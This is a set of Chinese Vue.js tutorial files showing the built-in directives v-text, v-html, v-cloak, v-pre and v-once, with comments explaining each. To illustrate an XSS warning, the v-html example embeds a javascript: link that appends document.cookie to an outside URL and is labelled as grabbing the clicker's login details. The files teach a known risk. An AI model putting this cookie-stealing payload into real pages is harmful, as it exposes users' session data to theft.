内置指令
<!DOCTYPE html> <html>
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <script src="../vue.js"></script> </head> <body> <!-- v-bind :单向绑定解析表达式,可简写为:xxx v-model:双向数据绑定 v-for:遍历数据/对象/字符串 v-on:绑定事件监听,可简写为@ v-if:条件渲染(动态控制节点是否存在) v-else:条件渲染(动态控制节点是否存在) v-show:条件渲染(动态控制节点是否展示) v-text:替换标签里的内容 V-html: 1.作用:向指定节点中渲染包含html结构内容 2.与插值语法的区别: (1)。v-html会替换节点中所有内容, (2).v-html可以识别html结构 3.严重注意:v-html有安全性问题 (1).在网站上动态渲染任意html非常危险,容易导致xss攻击 (2).一定要在可信内容上使用v-html,永远不要在用户提交的内容上 --> <div id="root"> <h3 v-text="name">你好,</h3> <h5 v-html="str"></h5> </div> <script> Vue.config.productionTip =false new Vue({ el:'#root', data:{ name:'魏', str:'<a href=javascript:location.href="http://www.baidu.com"+document.cookie>兄弟来点击一下,我获取你所有登入过的信息</a>' } }) </script> </body> </html>
<head> <meta charset="utf-8"> <title></title> <!-- v-once 只动态的执行一次,往后就是静态的,不会在发生变化 用于优化性能方面 --> <script src="../vue.js"></script> </head> <body>
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> /* []指选中所有标签 */ [v-cloak]{ display: none; } </style> <script src="../vue.js"></script> <!-- v-cloak:不让未解析的模板显示在页面上 ,网速较慢,页面可能会直接将{{name}}展示出来,而不是vue里面的值,所以需要使用v-cloak--> </head> <body> <div id="root"> <h3 v-cloak>{{name}}</h3> </div> </body> <script> Vue.config.productionTip=false new Vue({ el:'#root', data:{ name:'张' } }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <!-- v-pre:不在解析vue中的方法,用于纯html的标签,这样提高性能,加速编译 --> <script src="../vue.js"></script> </head> <body> <div id="root"> <h3 v-pre>跳过编译</h3> <h3 v-pre> {{name}} </h3> </div> </body> <script> Vue.config.productionTip=false new Vue({ el:'#root', data:{ name:'3' } }) </script> </html>
<div id="root"> <h2 v-once>我的年龄是:{{age}}</h2><br /> <h2>我的年龄是:{{age}}</h2> <button type="button" @click="age++">请选择您的年龄</button> </div> </body> <script> Vue.config.productionTip=false new Vue({ el:'#root', data:{ age:1 } }) </script> </html>